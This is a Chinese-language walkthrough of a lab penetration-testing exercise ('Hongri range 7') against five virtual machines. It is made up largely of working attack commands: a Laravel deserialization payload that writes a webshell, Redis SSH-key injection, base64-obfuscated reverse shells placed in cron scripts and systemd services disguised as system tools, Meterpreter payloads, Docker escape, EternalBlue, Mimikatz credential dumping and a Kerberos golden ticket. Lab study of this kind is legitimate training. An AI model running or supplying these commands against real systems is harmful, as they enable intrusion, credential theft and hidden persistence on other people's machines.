内网渗透——红日靶场七
目录
一、前期准备
服务配置
二、外网探测
1.存活主机
2.端口扫描
3.Laravel
4.docker容器
(1)提权到root
5.redis
6. SSH隧道代理
(1)首先在kali机上运行:
(2)Windows配置Proxifier
7.docker反弹shell
8.docker逃逸
9.对第二台机器持久化
· 跳板机持久化端口转发
· Ubuntu机器创建计划任务
10.通达OA
三、内网渗透
1.内网信息收集
(1)存活主机探测
(2)端口扫描
(3)Mimikatz抓取密码
2.永恒之蓝拿下PC2
3.域控
四、权限维持
1.ubuntu1
(1)socat转发持久化(稳定的代理隧道+ubuntu2木马)
(2)msf木马自启动
2.ubuntu2
(1)frpc客户端持久化
(2)msf木马自启动
(3)端口转发(DC+PC2)
3.PC1+PC2
4.DC
(1)生成黄金票据
五、总结
由于靶场六的环境配置有问题,为了不浪费时间就先做七了
一、前期准备
准备好五个虚拟机
网络拓扑图为:
根据此:我的kali为:192.168.57.0/24(NAT) 段;所以我配置DMZ区的IP段为:192.168.57.0/24(NAT)和 192.168.52.0/24(仅主机);第二层网络为:192.168.52.0/24 和 192.168.93.0/24(仅主机);第三层网络为:192.168.93.0/24主机
机器 | IP段 | 登录密码 |
Ubuntu(Web1) | 192.168.57.182 192.168.52.10 | web/web2021 |
Ubuntu(Web2) | 192.168.52.20 192.168.93.10 | Ubuntu/ubuntu |
PC1 | 192.168.52.30 192.168.93.20 | bunny/Bunny2021 |
PC2 | 192.168.93.40 | moretz/Moretz2021 |
Windows Server2012(DC) | 192.168.93.30 | administrator/Whoami2021 |
如果要登录管理员就用:administrator/Whoami2021
注意!web2作为web1的上游服务器,要一起开启
服务配置
(1)DMZ区的 Ubuntu 需要启动Nginx和Redis服务:
-
redis-server /etc/redis.conf
-
/usr/sbin/nginx -c /etc/nginx/nginx.conf
-
iptables -F
(2)第二层网络的 Ubuntu需要启动Docker容器:
-
sudo service docker start
-
sudo docker start 8e172820ac78
(3)第三层网络的 Windows 7(PC 1)需要启动通达OA:
-
C:\MYOA\bin\AutoConfig.exe
-
除此之外,我还关闭了PC1的防火墙
二、外网探测
1.存活主机
得到IP地址为:192.168.57.182
2.端口扫描
可以访问Web1机器,进行该网段的扫描,用goby扫试试
发现redis漏洞,同时看到开放的端口除了6379,还有81 80 22 端口
redis的版本为2.8.17。81端口界面如下,显示为Laravel,是一个PHP的Web框架:
3.Laravel
当时先看了Redis使用getshell工具没能成功,但肯定是有漏洞在的。先看看Laravel,确定下版本信息,没找到工具可以探测版本信息的,看看抓包会不会有泄露:
后来发现页面本来就说明了:
发现版本信息为:v8.29.0 对应的PHP版本为:7.4.14
搜索相应的漏洞:Laravel RCE(CVE-2021-3129)漏洞复现 - 那酒不要留 - 博客园尝试一下
发现重定向到了一个新的IP地址:192.168.52.20:8000 ? (注:测试过程中我的攻击机都只有192.168.57.0网段)猜测是上游服务器,先放这里。
上面的文章伪造的请求头如下:
发现确实存在漏洞,直接用工具getshell:https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP
但是必须要用Godzilla 3.0以下的版本才能连接上
GodZilla添加目标失败,换了几个2.9版本的都不行,后来尝试漏洞复现,发现也不行,于是就稍微对这个工具进行了一下修改,如果是只能接受3.0版本以下的话,我就将4.0的木马集成进去。
首先观察原脚本,就是文章中的构造请求包,直接找到写入一句话木马处:
需要我们用phpggc先生成一条反序列化POC:
首先将哥斯拉的一句话木马内容转换为base64格式
然后生成POC:
php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "system('echo PD9waHAKZXZhbCgkX1BPU1RbInBhc3MiXSk7Cg==|base64 -d > /var/www/html/shell.php');" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
将得到的反序列化POC写入函数中:
注意:由于我们植入的文件是shell.php所以后面也需要修改一下:
成功getshell
4.docker容器
当我回到根目录进行ls -al时发现是在docker容器中
尝试docker逃逸,对于每种不同的漏洞都有不同的方法进行检验:Docker逃逸手法大全 - Yuy0ung - 博客园
最终发现是privileged特权模式逃逸:
首先尝试fdisk -l 发现没权限,whoami只是个www-data权限,尝试先在docker容器中提权到root
(1)提权到root
按照之前打DC靶场的经验:
发现有一个文件很可疑:/home/jobs/shell 应该可以被我们利用来提权,在该目录下找到了demo.c和shell两个文件
其中的demo.c使用了setuid(0)和setgid(0)试图将权限提升为root,再通过system("ps")执行命令,而这里的shell就看起来是demo.c编译后的程序。一开始我想的是修改demo.c文件再编译,但是只有可读权限:
只能从shell处下手了(后来我尝试在/tmp目录下进行文件添加demo.c,成功编译后运行shell并不能获得root权限,应该是文件所属的原因)
首先shell会执行ps的命令,可以尝试修改此时的环境变量ps,比如在/tmp目录下新建一个文件ps内容为:/bin/bash,将其引入环境变量后从而shell执行时就可以先执行/tmp/ps从而提权
但我尝试了很久并不能够修改环境变量,感觉是shell的问题(Webshell不稳定),尝试反弹shell也失败了(网络隔离),之前怀疑有上游服务器(docker环境对应的机器192.168.52.20),也许可以先拿下跳板机(57.x网段(已知)和52.x的机器),才能通过代理反弹shell到kali(57.x)机器上
5.redis
明确192.168.57.182 开了6379端口
一开始我尝试写入ssh的方式,但发现不行(到处碰壁,后来登录web1发现是公钥被污染了,这样的话,无论是写入计划任务,或者是一句话木马,都可能会被污染导致无法正常发挥作用,一句话木马尽管写入也会因为上游服务器的原因无法拿到web1的shell)
但还是有一定成功率,最终还是成功登录ssh了
首先在kali本地生成公钥和私钥
注意,公钥:id_rsa.pub 才是需要写入到web机的
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt
cat key.txt | redis-cli -h 192.168.57.182 -x set xxx
┌──(root㉿kali)-[~/.ssh]
└─# redis-cli -h 192.168.57.182
192.168.57.182:6379> config set dir /root/.ssh/
OK
192.168.57.182:6379> config set dbfilename authorized_keys
OK
192.168.57.182:6379> save
OK
192.168.57.182:6379> exit
┌──(root㉿kali)-[~/.ssh]
└─# ssh 192.168.57.182
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 5.4.0-150-generic x86_64)* Documentation: https://help.ubuntu.com* Management: https://landscape.canonical.com* Support: https://ubuntu.com/advantage* Canonical Livepatch is available for installation.- Reduce system reboots and improve kernel security. Activate at:https://ubuntu.com/livepatch131 packages can be updated.
2 updates are security updates.New release '20.04.6 LTS' available.
Run 'do-release-upgrade' to upgrade to it.Your Hardware Enablement Stack (HWE) is supported until April 2023.
Last login: Thu Feb 25 06:30:56 2021 from 192.168.1.7
root@ubuntu:~#
拿下web1机器后,稍微搜集一下信息:
发现web1的IP地址有:192.168.57.182 和 192.168.52.10
我们就可以借该网段实现对192.168.52.20机器进行访问,对拿下的机器写入后门:
echo 'echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU3LjEyOC83Nzc3IDA+JjE= | base64 -d | bash' > /usr/local/bin/update-mgr.sh
chmod +x /usr/local/bin/update-mgr.sh
(crontab -l; echo "* * * * * /usr/local/bin/update-mgr.sh") | crontab -
该后门用于将后门的base64写入看似“正常”的文件,然后将该脚本加入crontab计划任务,使脚本每分钟自动运行:发现能够成功反弹shell
6. SSH隧道代理
之前使用的内网穿透工具是frp,最近学免杀但还没到代理工具篇,这里尝试尝试搭建SSH隧道,并且之前在做docker环境不是没成功吗?也要配置windows的代理,可以通过windows -> kali -> web1代理来尝试
(1)首先在kali机上运行:
开启ssh隧道,此时编辑/etc/proxychains4.conf文件添加:socks5 192.168.57.128 1080(注意此处不能是127.0.0.1)
(2)Windows配置Proxifier
Profile -> Proxy Servers -> 填入kali机的IP地址+1080端口,选择socks5协议
然后配置代理规则,指向要访问的52网段,并选择刚配置的代理服务器
访问192.168.57.20:8000端口:
成功访问(尽量不要直接用物理机测试,其是可以直接访问到52网段的)
7.docker反弹shell
经过许多尝试总算弹到kali上了,在此之前,需要先把代理链搭好,之前反弹shell总是不成功的原因是192.168.52.20上开启的docekr服务只能通过52网段访问到,少了一个52网段的跳板机,现在可以通过ubuntu弹了。
首先我“换”了个shell,由于连上了52网段我直接通过代理哥斯拉连上192.168.52.20的shell
然后在拿下的跳板机上进行流量转发
root@ubuntu:~# socat TCP4-LISTEN:5555,fork TCP4:192.168.57.128:8888
将ubuntu 5555端口收到的所有流量,转发到kali机的8888端口上
然后让kali监听8888端口
最后在哥斯拉上弹shell到ubuntu:
/var/www/html/ >bash -c 'exec bash -i &>/dev/tcp/192.168.52.10/5555 <&1'
成功得到docekr容器的shell
尝试环境变量提权:将/bin/bash写入/tmp/ps文件中
www-data@8e172820ac78:/home/jobs$ export PATH=/tmp:$PATH
export PATH=/tmp:$PATH
www-data@8e172820ac78:/home/jobs$ echo $PATH
echo $PATH
/tmp:/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
www-data@8e172820ac78:/home/jobs$ ls
ls
demo.c
shell
www-data@8e172820ac78:/home/jobs$ ./shell
./shell
whoami
root
提权成功!再进行docker逃逸
8.docker逃逸
按privileged特权模式进行逃逸
root@8e172820ac78:/home/jobs# cat /proc/self/status | grep CapEff
cat /proc/self/status | grep CapEff
CapEff: 0000003fffffffff
root@8e172820ac78:/home/jobs# root@8e172820ac78:/home/jobs# fdisk -l
fdisk -l
Disk /dev/sda: 10 GiB, 10737418240 bytes, 20971520 sectors
Disk model: VMware Virtual S
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x00063af9Device Boot Start End Sectors Size Id Type
/dev/sda1 * 2048 16779263 16777216 8G 83 Linux
/dev/sda2 16781310 20969471 4188162 2G 5 Extended
/dev/sda5 16781312 20969471 4188160 2G 82 Linux swap / Solaris# 挂载
root@8e172820ac78:/home/jobs# mkdir /test && mount /dev/sda1 /test
mkdir /test && mount /dev/sda1 /test
root@8e172820ac78:/home/jobs# ls /test
ls /test
bin dev initrd.img lost+found opt run sys var
boot etc lib media proc sbin tmp vmlinuz
cdrom home lib64 mnt root srv usr
root@8e172820ac78:/home/jobs# chroot /test
成功逃逸到主机:
# pwd
pwd
/home/ubuntu
# ls
ls
Desktop Documents Music Templates password
Dockerfile Downloads Pictures Videos x6pqGcQj
Dockerfile~ KdwGEmVm Public examples.desktop
# cat password
cat password
web/web2021
ubuntu/ubuntu
并且发现了密码存储,尝试直接进行ssh登录先:
成功拿下第二台机器!
9.对第二台机器持久化
之前拿下的web1跳板机ubuntu已经能够通过kali进行免密登录了,也尝试将kali的公钥写到第二台机器中,首先还是设置了流量转发,第一台ubuntu先:
然后kali开启http服务,这样第二台ubuntu就能下载到kali的公钥:
需要赋予.ssh目录权限700 authorized_keys权限600
后来尝试ssh免密登录仍发现有问题,查看ssh日志发现是我kali机和ubuntu机的OpenSSH版本不一样,需要指定共同的签名算法:
proxychains4 ssh -v -i id_rsa \-o HostKeyAlgorithms=+ssh-rsa \-o PubkeyAcceptedAlgorithms=+ssh-rsa \root@192.168.52.20
成功免密登录!再弄一个反弹shell,对此,可以在跳板机上配置“持久化端口转发”
· 跳板机持久化端口转发
在跳板机上创建服务文件,跳板机需要持续将52网段通过5678端口传递给kali的8888端口:
root@ubuntu:/etc/systemd/system# cat > /etc/systemd/system/syslog-ubuntu.service << 'EOF'
> [Unit]
> Description=Port forward for new Ubuntu machine (52网段→Kali)
> After=network-online.target
> Wants=network-online.target
>
> [Service]
> # listen to 5678 transport to kali:8888
> ExecStart=/usr/bin/socat TCP4-LISTEN:5678,fork TCP4:192.168.57.128:8888
> Restart=always
> RestartSec=5
> User=root
>
> [Install]
> WantedBy=multi-user.target
> EOF
root@ubuntu:/etc/systemd/system# systemctl daemon-reload
root@ubuntu:/etc/systemd/system# systemctl enable syslog-ubuntu.service
Created symlink /etc/systemd/system/multi-user.target.wants/syslog-ubuntu.service → /etc/systemd/system/syslog-ubuntu.service.
root@ubuntu:/etc/systemd/system# systemctl start syslog-ubuntu.service
root@ubuntu:/etc/systemd/system# systemctl status syslog-ubuntu.service
● syslog-ubuntu.service - Port forward for new Ubuntu machine (52网段→Kali)Loaded: loaded (/etc/systemd/system/syslog-ubuntu.service; enabled; vendor preset: enabled)Active: active (running) since Sun 2025-07-27 23:16:25 PDT; 13s agoMain PID: 21214 (socat)Tasks: 1 (limit: 4620)CGroup: /system.slice/syslog-ubuntu.service└─21214 /usr/bin/socat TCP4-LISTEN:5678,fork TCP4:192.168.57.128:8888Jul 27 23:16:25 ubuntu systemd[1]: Started Port forward for new Ubuntu machine (52网段→Kali).
root@ubuntu:/etc/systemd/system# systemctl is-enabled syslog-ubuntu.service
enabled
· Ubuntu机器创建计划任务
echo 'echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUyLjEwLzU2NzggMD4mMQ== | base64 -d | bash' > /usr/local/bin/update-mgr.sh
chmod +x /usr/local/bin/update-mgr.sh
(crontab -l; echo "* * * * * /usr/local/bin/update-mgr.sh") | crontab -
成功反弹到kali的shell上
10.通达OA
首先:我将已经拿下的两台机子成功移到msf中了(想要之后的管理和路由设置和流量转发更加轻松一些),只要按上面做的流量转发就行,主要用socat工具
对52网段继续进行存活主机探测
首先在第一台跳板机上安装arp进行存活主机探测:
发现52网段的一台新机子:192.168.52.30 对其进行端口扫描
发现其8080端口服务为通达OA,访问该网页
可以通过加路径:/inc/reg_trial.php得到版本信息:
直接使用工具:
用哥斯拉连接shell:
发现是windows系统,用msf生成一下木马,植入到该机器中
┌──(root㉿kali)-[~/test]
└─# msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.52.10 LPORT=4456 -f exe -o sysFile.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 203846 bytes
Final size of exe file: 210432 bytes
Saved as: sysFile.exe
注意这里生成的是x64的版本,不然之后用msf load mimikatz会加载失效。
直接在哥斯拉上上传文件,之后在第一台跳板机上设置流量转发:
socat TCP4-LISTEN:4456,fork TCP4:192.168.57.128:8004
用kali监听8004端口,再执行木马文件就成功上线了
已经是SYSTEM权限
三、内网渗透
前面已经拿下了三台机器,还剩93网段内的所有机器没有拿下:
1.内网信息收集
(1)存活主机探测
net view
发现有DC和PC2两台机子,分别ping得到相应的IP地址
DC的IP地址为:192.168.93.30 PC2的IP地址为:192.168.93.40
(2)端口扫描
在拿下的第三台机器下添加93网段的路由后对上面两个IP地址进行端口扫描:
msf6 exploit(multi/handler) > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(scanner/portscan/tcp) > optionsModule options (auxiliary/scanner/portscan/tcp):Name Current Setting Required Description---- --------------- -------- -----------CONCURRENCY 10 yes The number of concurrent ports to check per hostDELAY 0 yes The delay between connections, per thread, in millisecondsJITTER 0 yes The delay jitter factor (maximum value by which to +/-DELAY) in milliseconds.PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-900)RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.htmlTHREADS 1 yes The number of concurrent threads (max one per host)TIMEOUT 1000 yes The socket connect timeoutin millisecondsView the full module info with the info, or info -d command.msf6 auxiliary(scanner/portscan/tcp) > set rhosts 192.168.93.30 192.168.93.40
rhosts => 192.168.93.30 192.168.93.40
DC机扫到这里发现扫不动了,感觉是开了防火墙的原因,单独扫PC2试试:
发现445端口,可以对PC2进行永恒之蓝
(3)Mimikatz抓取密码
登录PC1的会话,加载kiwi进行密码抓取:
得到域管理员 的账号密码:Administrator/Whoami2021
2.永恒之蓝拿下PC2
怀疑还是之前遇到的问题,通道不稳定导致无法拿下该机器,需要用frp做个内网穿透。
那之前搭建的SSH隧道就先不用了,全用frp搭建好了,但还是用ssh隧道下载下frp工具
首先配置kali的frps.ini文件:
用kali的7000端口来监听
./frps -c ./frps.ini
然后配置第一台跳板机(192.168.57.182)由于其我无法在第一台跳板机上使用frpc,所以还是进行流量转发:
开通本地的7001端口用以转发流量到kali的7000端口
然后在192.168.93.10上,先配置frpc.ini文件:
其中1081指向kali的代理地址,再在第二台机器上运行:
./frpc -c ./frpc.ini
kali配置proxychains4.conf文件: socks5 192.168.57.128 1081
再以proxychains4 开启 msf ;对192.168.93.40执行永恒之蓝
皆为 SYSTEM 权限
3.域控
之前遇到的问题是也许域控有防火墙导致无法正常攻击,但之前通过Mimikatz抓取了密码,就可以考虑从域管理员的账号和密码出发,以“合法的凭证”登录域控:
而且通过搭建的稳定隧道也可以对域控进行端口扫描了,考虑用WinRM(5985、5986端口)远程管理直接登录域控,先对这两个端口进行扫描:
发现是打开的!直接远程登录试试:
proxychains4 evil-winrm -i 192.168.93.30 -u "administrator" -p "Whoami2021"
成功登录后关闭防火墙,再用永恒之蓝打
成功拿下域控!
四、权限维持
前面提到的一些权限维持和后门持久化的学习本应放到这里的,放到前面显得前面有些冗杂了导致我有时候会忘记用了哪几条隧道链哪个端口用什么通的,SSH隧道还是socat流量转发?所以还是在这个部分写明白一些,我也好弄清楚;个人认为还是要注重这些跳板机的持久化,当然windows的一些基础方法也要开始学习了。
1.ubuntu1
明确这台机器已经有了计划任务的反弹shell到kali的7777端口,且有了SSH免密登录。最重要的还是流量的转发:
(1)socat转发持久化(稳定的代理隧道+ubuntu2木马)
代理隧道不用说了,但制作ubuntu2的msf上线木马时用到了端口转发:ubuntu1 4455 -> kali 8003
,制作PC1的msf时用到了 ubuntu1 4456 -> kali 8004 (后面的PC2和DC也需要添加规则,后面再添加)
# 1.创建转发脚本
vim /usr/local/bin/frp_forward.sh# 2.写入socat转发命令
#!/bin/bashnohup socat TCP4-LISTEN:7001,bind=192.168.52.10,reuseaddr,fork TCP4:192.168.57.128:7000 > /dev/null 2>&1 &nohup socat TCP4-LISTEN:4455,bind=192.168.52.10,reuseaddr,fork TCP4:192.168.57.128:8003 >/dev/null 2>&1 &nohup socat TCP4-LISTEN:4456,bind=192.168.52.10,reuseaddr,fork TCP4:192.168.57.128:8004 >/dev/null 2>&1 # 3.赋予执行权限
chmod +x /usr/local/bin/frp_forward.sh# 4.创建systemd服务
vim /etc/systemd/system/frp-forward.service# 5.写入服务配置
[Unit]
Description=FRP Proxy Forward via Socat
After=network.target # 网络启动后运行[Service]
Type=simple
ExecStart=/usr/local/bin/frp_forward.sh
Restart=always # 确保崩溃后重启
User=root[Install]
WantedBy=multi-user.target# 6.启用并启动服务
systemctl daemon-reload
systemctl enable frp-forward.service
systemctl start frp-forward.service
(2)msf木马自启动
同样的,要保证ubuntu1的msf木马可以自启动:
# 1.伪装系统监控程序
mv /etc/systemd/sysFile1.elf /usr/local/bin/.sys-monitor
chmod +x /usr/local/bin/.sys-monitor# 2.创建systemd服务
vim /etc/systemd/system/sys-monitor.service[Unit]
Description=System Monitor Service
After=network.target[Service]
Type=simple
ExecStart=/usr/local/bin/.sys-monitor
Restart=always
RestartSec=10
User=root
Group=root[Install]
WantedBy=multi-user.target# 3.启用并启动服务
systemctl daemon-reload
systemctl enable sys-monitor.service
systemctl start sys-monitor.service
2.ubuntu2
(1)frpc客户端持久化
确保ubuntu2的frpc在重启后自动连接ubuntu1的7001端口,维持93网段的socks5代理,该机器已经可以免密登录了。
# 1.创建frpc服务文件
vim /etc/systemd/system/frpc.service# 2.写入以下内容
[Unit]
Description=FRP Client for 93 Network
After=network.target[Service]
Type=simple
ExecStart=/root/frp/frpc -c /root/frpc.ini
Restart=always
User=root[Install]
WantedBy=multi-user.target# 3.启用并启动服务
systemctl daemon-reload
systemctl enable frpc.service
systemctl start frpc.service
(2)msf木马自启动
流量转发搭建好了和上面一样搞个sys-monitor.service服务就行
(3)端口转发(DC+PC2)
对于之后的DC和PC2,需要植入后门,而植入后门就需要重复上面ubuntu1的操作,比如:通过ubuntu2 5001 -> ubuntu1 4457 -> kali 8005
ubuntu2 5002 -> ubuntu1 4458 -> kali 8006
# 1.创建转发脚本
vim /usr/local/bin/port-translate.sh# 2.写入socat转发命令
#!/bin/bash# 注:需要保证ubuntu2上有socat工具,不然启动失败,我是通过kali导入的nohup socat TCP4-LISTEN:5001,bind=192.168.93.10,reuseaddr,fork TCP4:192.168.52.10:4457 > /dev/null 2>&1 &nohup socat TCP4-LISTEN:5002,bind=192.168.93.10,reuseaddr,fork TCP4:192.168.57.10:4458 >/dev/null 2>&1 &# 3.赋予执行权限
chmod +x /usr/local/bin/port-translate.sh# 4.创建systemd服务
vim /etc/systemd/system/port-translate.service# 5.写入服务配置
[Unit]
Description=FRP Proxy Forward via Socat
After=network.target[Service]
Type=simple
ExecStart=/usr/local/bin/frp_forward.sh
Restart=always
User=root[Install]
WantedBy=multi-user.target# 6.启用并启动服务
systemctl daemon-reload
systemctl enable frp-forward.service
systemctl start frp-forward.service
对PC2,在kali上生成木马,回连ubuntu2的5001端口
msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=192.168.93.10 lport=5001 -f exe -o PC2_backdoor.exe
对 DC,在kali上生成回连Ubuntu2 5002端口的木马:
msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=192.168.93.10 lport=5002 -f exe -o DC_backdoor.exe
都上传到对应的机器中,然后在msf中执行即可通过木马上线了
到这里,所有的代理链都搞完了,大致是这样的:
ubuntu1的端口转发文件内容为:
3.PC1+PC2
PC1是通过执行msf木马上线的,在用户登陆系统时自动以SYSTEM权限运行木马
而由于无法进入shell,只能通过msf本身的指令来创建服务
meterpreter > execute -f cmd.exe -a "/c schtasks /create /tn SystemMaintenance /tr C:\Windows\System32\pc1_sync.exe /sc onlogon /ru SYSTEM /f"
观察是否创建好:
meterpreter > ls C:\\Windows\\System32\\Tasks\\SystemMaintenance
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
100666/rw-rw-rw- 3086 fil 2025-08-02 14:52:46 +0800 C:\Windows\System32\Tasks\SystemMaintenance
为防止被查杀,可将木马注入系统进程
meterpreter > migrate -N explorer.exe
PC2一样即可
4.DC
(1)生成黄金票据
通过mimikatz抓取:lsadump::lsa /patch
WHOAMIANONY / S-1-5-21-1315137663-3706837544-1429009142
krbtgt的NTLM哈希:6be58bfcc0a164af2408d1d3bd313c2a
meterpreter > kiwi_cmd "kerberos::golden /user:Admin1strator /domain:WHOAMIANONY.ORG /sid:S-1-5-21-1315137663-3706837544-1429009 /krbtgt:6be58bfcc0a164af2408d1d3bd313c2a /ptt"
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
User : Admin1strator
Domain : WHOAMIANONY.ORG (WHOAMIANONY)
SID : S-1-5-21-1315137663-3706837544-1429009
User Id : 500
Groups Id : *513 512 520 518 519
ServiceKey: 6be58bfcc0a164af2408d1d3bd313c2a - rc4_hmac_nt
Lifetime : 2025/8/2 15:57:34 ; 2035/7/31 15:57:34 ; 2035/7/31 15:57:34
-> Ticket : ** Pass The Ticket *** PAC generated* PAC signed* EncTicketPart generated* EncTicketPart encrypted* KrbCred generatedGolden ticket for 'Admin1strator @ WHOAMIANONY.ORG' successfully submitted for current session
五、总结
碰了很多回壁总算将这个靶场打完了,回顾一下上面所学的知识点:
(1) Laravel v8.29.0 版本漏洞 -> Laravel-CVE-2021-3129-EXP.py 写入shell
(2)docker 提权:伪造环境变量ps -> /bin/bash
(3)docker 逃逸:privileged特权模式逃逸
(4)redis 写入公钥
(5)SSH隧道代理
(6)通达OA 任意文件上传
(7)端口转发,代理链的建立,持久化
(8)Mimikatz抓取密码后通过 evil-winrm 远程登录关闭防火墙
前面的ubuntu方面的端口转发写的有些乱,可以理解为临时的,只是为了下载一些kali上的文件搞的。这次学习的内容很多,希望我能掌握!如果有不对或者更好的地方(比如对于内网方面一些工具,或者说更好的手法),感谢大家的指出。~_^